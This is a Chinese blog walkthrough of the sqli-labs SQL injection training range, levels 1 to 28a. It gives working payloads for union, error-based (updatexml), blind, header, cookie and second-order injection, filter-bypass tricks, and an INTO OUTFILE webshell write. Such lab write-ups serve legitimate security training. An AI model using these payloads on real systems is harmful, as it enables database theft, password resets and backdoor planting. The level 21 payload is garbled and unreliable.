sqli-labs部分关思路

这篇具有很好参考价值的文章主要介绍了sqli-labs部分关思路。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

updatexml

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

25a

26

26a

27

27a

28

28a


问题:你了解sql注入吗

答:由于程序过滤不严谨,用户异常输入,这些输入会导致数据库异常查询,最终导致sql注入

mysql三种注释符:

--+

#

/**/

updatexml

updatexml()

UPDATEXML (XML_document, XPath_string, new_value);

这个函数作用是替换数据,三个参数对应的分别是源文档、要查找的元素路径、新的值

例子:

UPDATE mytable SET xml_data = updatexml(xml_data, '/path/to/element', 'new_value') WHERE ...

一个名为"mytable"的表,其中包含一个名为"xml_data"的XML类型列。要将XML文档中"path/to/element"元素的值替换为"new_value

报错注入利用:

0x7e是~的十六进制,会让xpath参数报错,然后返回报错信息,同时在xpath参数中插入concat()连接字符串,和所要查询的内容,例如database()

即可将查询内容与报错信息一起反馈出来。

1

1.判断注入类型:先单引号发现报错,说明是单引号注入

2.判断字段数:用order by ,经测试:?id=1' order by 4 --+发生报错,说明只有3个字段

3.查看回显位置:用一个不存在id测试回显位置:?id=-1' union select 1,2,3 --+,发现,2,3是回显位置

4.查数据:

库名: ?id=-1' union select 1,database(), 3--+,得到security

表名: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+,得到四张表:

emails,referers,uagents,users

字段名:就是将表名的table改成columns,得到表名,太多了就不列举了

发现两个关键的username,password

查字段内容:?id=-1' union select 1,group_concat(username),3 from security.users--+,查哪个字段就把username改成对应字段名即可

最终得到账号密码

2

1.判断注入类型:单双引号都报错了,引号闭合不了,不是字符注入。是数字注入

2.用order by 判断字段数为3

3.用union判断回显位置为2,3

4.查数据:

库名:?id=-1%20union%20select%201,database(),--+,得到security

表名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

字段名:把表名的table和tables改成column和columns

查账号密码:?id=-1 union select 1,group_concat(username),3 from security.users--+

3

1.判断注入类型,测试了1和双引号没异常,单引号发现报错,说有括号,所以再闭合一个括号 id=1')

2.判断字段和回显分别是3和2,3

3.查数据跟前面一样

4

从3的单引号变成双引号,其他不变

5

1.判断注入类型,发现只有id=1'能报错

2.测试字段数和回显发现无法使用联合查询了,使用报错注入

3.查数据:

库名:?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

表名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

字段名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'),0x7e),1)--+

用户密码:

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+ ?id=-1' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)--+

6

只是把单引号换成了双引号,其他和5关一样

7

这关很奇怪,要做出来得去改mysql的配置文件,允许上传文件,然后直接传后门,但是都能修改文件了,还有必要改ini吗

但是不妨也是一种手段:

利用前提:1.是root,2.目录是网站的根路径,也就是网站能访问到该路径

先修改my.ini的secure_file_priv="要上传文件的路径"

然后闭合后写导出语句

?id=1')) union select 1,2,'<?php phpinfo(); ?>' into outfile "D:\phpstudy_pro\WWW\shellaa.php"--+

然后就把我们的shellaaa.php上传到这个目录下了,可以传一句话后门直接用蚁剑登录,我这里测试用的是phpinfo();

8

判断注入类型:初步判断为bool盲注

库名:

库名的长度:?id=1' and length(database())>8 --+数字加到8没有回显,说明库名长度为8。库名:?id=1' and ascii(substr((database()),1,1))=115 --+当等于115的时候有回显,说明库名的第一个字符为s,以此类推

表名、字段名类似,盲注比较麻烦,建议用脚本或者sqlmap

9

判断注入类型:测试对错都不变,是时间盲注

跟布尔盲注的区别就在于加了一个sleep()函数

?id=1; and if(ascii(substr(database(),1,1))>100,sleep(2),0)--+

如果条件为真就会延迟两秒回显,也可以看网页检查的network模块的加载时间的变化,我们以此来判断是否为真,其余思路与布尔盲注一样

10

和第9关的注入唯一区别就是不用闭合了

11

用户名输入单引号报错,用updatexml尝试报错注入

直接在用户名测试:aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1)# 这里因为是post提交,所以注释用的#

然后成功回显库名了,然后用户输入admin,密码输入-1' union select 1,2#

看到回显位置,然后就直接查数据即可

12

跟11题区别就是密码框输入的时候用双引号闭合:-1' union select 1,2#

13

改动:单引号+括号闭合,其他跟11一样

14

双引号闭合的,正常回显被注释,不能用联合查询,首选用updatexml报错注入、也可以bool盲注根据返回的图片来判断

15

从14的双引号闭合变成了单引号闭合,其他一样

16

又变成了双引号+括号

17

先判断魔术开关(只在php低版本有),然后用一个stripslashes(),作用是去掉转义符

再判断是否为数字,然后用mysql_real_escape_string()(也是个低版本的函数)对特殊字符转义,例如单双引号

解释:如果不判断魔术开关,会自动转义一次,然后到了mysql_real_escape_string()这个函数又转义一次,这样双重转义等于没有转义,单引号就逃出限制了,开着的话就会只转义一次,单引号就被转义失效了

用户名是admin

密码先测试一下单引号闭合,报错了

那么尝试报错注入成功回显:payload:123456' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#

注意单引号前面的密码要符合规范,例如我只写了个aaa就会报错不合法

18

header头注入

看源码知道用户名密码都被过滤了,但是重新获取了两个值:HTTP_USER_AGENT和REMOTE_ADDR,并且放到数据库里了,我们选择USER_AGENT,因为REMOTE_ADDR改不了

用火狐的hackbar:

post:uname=admin&passwd=0

user agent添加一行aaa'提交后发现报错,原因是插入值为3个,我们写了四个

用and连接就不影响了,还是原来的三个

所以payload:aaaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

成功报错回显出用户

19

header头变成了referer了

然后跟上一题一样

20

这关将用户名放入cookie,然后把cookie放到数据库中查询

所以注入点就是username

还是用firefox的hackerbar来伪造cookie,测试单引号闭合回显报错

直接伪造cookie看回显:-1' union select 1,2,3,4,5#

2,3回显位置出现,后面按套路查就行

注:username错误就被过滤,正确才放到cookie,然后数据库查cookie,所以修改username没意义,应该伪造cookie

21

cookie拿username的时候进行了一次base64编码,然后再把cookie解码放进数据库中查询

所以我们就是把payload进行base64编码然后放给cookie就行了

payload:ºv¦|§vê]j×±]\¢w·L{zÇ¥yËn±êôÇ·µjwu

22

换了个闭合方式:双引号闭合

23

先闭合再注释测试,发现注释符被过滤了

那就不注释了,用and '1'='1

测试成功回显:?id=-1' union select 12,3,4,5 and '1'=‘1

剩下的又和第一关一样了

24

先注册,然后登录,进去后看到修改密码界面

看源码,又遇到mysql_real_escape_string()这个函数了

简单说就是给单引号加个注释符,但是关键是数据存到数据库的时候,这个注释符会去掉,也就是把单引号存到数据库中了

那么查询的时候,这个名字从数据库中拿出来,引号也会被拿出来

所以这样做:

找一个已存在的用户名例如abc,然后注册用户abc'#

再修改密码的话由于引号闭合和注释,会导致用户abc的密码被修改,那么我们就知道abc的密码了

25

所有的or 和 and被过滤

这是限制的报错注入,和password这个关键字

我们直接用第一题的解法就行,password写成passwoorrd成功爆出数据

25a

没有闭合,数字型的,其他跟25一样

26

过滤了注释符、and、or、空格、*也被过滤了

可以用括号代替空格,然后and用anandd绕过就行了,当然不看源码的话要尝试会花不少时间

在linux下可以替换空格的:%0a、%0b、%0c、%0d、%a0

这里经测试不行,但是其他情况可能有奇效

26a

报错注入被注释了,尝试联合查询也不行

那就试试布尔盲注

payload:?id=1')aandnd(ascii(substr(database(),1,1))>100)anandd('1')=('1

发现回显正确的值,说明可以使用布尔盲注后面步骤就一样,不赘述了

27

联合查询被过滤

union的大写、小写、空格都被过滤了、还过滤了三次select

空格用%0a替代,union用UNion这种大小写组合就可以绕过

select写成四个拼起来的就行:selselselselectectectect

除了这些过滤,其他就跟联合查询一样了

27a

闭合方式不一样,是单引号,然后过滤select的正则没有写i,所以直接写成SELect就能绕过

28

过滤了union+select,也就是union和select之间不能写内容

还是老样子,双写,用%0a代替空格:

union%0aunion%0aselectselect

或者还能用布尔盲注

28a

没啥区别,同样的和上一关一样的payload也能过文章来源地址https://www.toymoban.com/news/detail-706143.html

到了这里,关于sqli-labs部分关思路的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [网络安全]sqli-labs Less-25a 解题详析

    不同于25关的是sql语句中对于id没有单引号包含,同时没有输出错误项,故报错注入不能用。 有两种方式:延时注入和联合注入;本文采用联合注入。 具体过程不再详述,本文给出最终POC: 具体过程本文不再赘述,可移至本专栏相关文章:SQLiLabs靶场专栏

    2024年02月06日
    浏览(48)
  • sqli-labs通关详解

    找注入点,当输入id=1 and 1=2–+时没有变化,尝试单引号闭合找到注入类型 字符型注入,单引号闭合 判断字段数 找回显点 发现有两个回显点 开始信息收集(注意union前后格式要相同) 开始逐级爆破 爆破数据库 看源码或者尝试,没有闭合方式,说明为数字型注入 尝试找到注入

    2023年04月15日
    浏览(44)
  • SQLI-labs-第一关

    目录 知识点:单引号字符型注入 1、根据提示,为get注入,在url中输入内容​编辑  2、判断注入点  3、判断目前该表的字段数  4、判断回显位置 5、爆库名 6、爆表名   7、爆字段名  8、爆值 知识点:单引号字符型注入 思路: 1、根据提示,为get注入,在url中输入内容  

    2024年02月11日
    浏览(44)
  • sqli-labs靶场分析

    1、level1 单引号测试报错,为单引号闭合,且显示1多了个单引号故而为字符型注入。且未对用户输入进行任何过滤。 且SQL语句错误会输出,可以使用报错注入 order by判断表列数 uoion 联合查询,因为网页只显示第一张表的数据,因此需要union前的语句为假,查出数据为空,把位

    2024年02月07日
    浏览(49)
  • sqli-labs靶场安装

      服务器环境:phpstudy   下载链接:https://www.xp.cn/   Sqlilabs靶场:sqlilabs   下载链接:https://github.com/Audi-1/sqli-labs   PhpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,J

    2023年04月13日
    浏览(86)
  • Sqli-Labs 通关笔记

    创建网站时选择php版本为5.x 修改./sql-connections/db-creds.inc 修改数据库用户名和密码,下面的数据库名不用管 任务目标:获取表名 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) sql查询语句为 SELECT * FROM users WHERE id=\\\'$id\\\' LIMIT 0,1 输入 ?id=-1\\\' ,报错语句为

    2023年04月20日
    浏览(40)
  • sqli-labs例题复现

    less-1.1 在源码中$id=$_GET[\\\'id\\\'];之后加入如下代码: 1.分析正则 第一个b匹配select单词边界,sS匹配到所有字符,最后一个b匹配到from单词边界。 select...from被过滤,失效。 2.科学计数法的引入 如果可以存在一个,可以加在from前面,不会影响语句执行,从而实现绕过正则

    2024年02月10日
    浏览(46)
  • sqli-labs关卡之一(两种做法)

    目录 一、布尔盲注(bool注入)  二、时间盲注(sleep注入) 页面没有报错和回显信息,只会返回正常或者不正常的信息,这时候就可以用布尔盲注 布尔盲注原理是先将你查询结果的第一个字符转换为ascii码,再与后面的数字比较,如果为真,整个查询条件就为真,返回正常的结果

    2024年02月09日
    浏览(113)
  • sqli-labs基础篇【第七关】详细解析

      从下面的注入测试来看,只有两种输出结果   如果sql执行了,就会输出“You are in… Use outfile…”,反之输入“You have an error in your SQL syntax” 查看是否存在双引号注入 正常输出,说明有执行,存在双引号注入 查看是否存在闭合特殊符号 推测注入点:双引号+两个闭合

    2023年04月15日
    浏览(40)
  • 安装sqli-labs时,mysql 8 报错解决

    首先执行命令Setup/reset Database for labs时,mysqlsql时报错: SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES: Warning : mysql_connect(): Server sent charset (255) unknown to the client. Please, report to the developers in  D:developnetworkSecurityphpStudyPHPTutorialWWWsqli-labssql-connectionssetup-db.php  on line  29 Warn

    2024年02月09日
    浏览(34)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包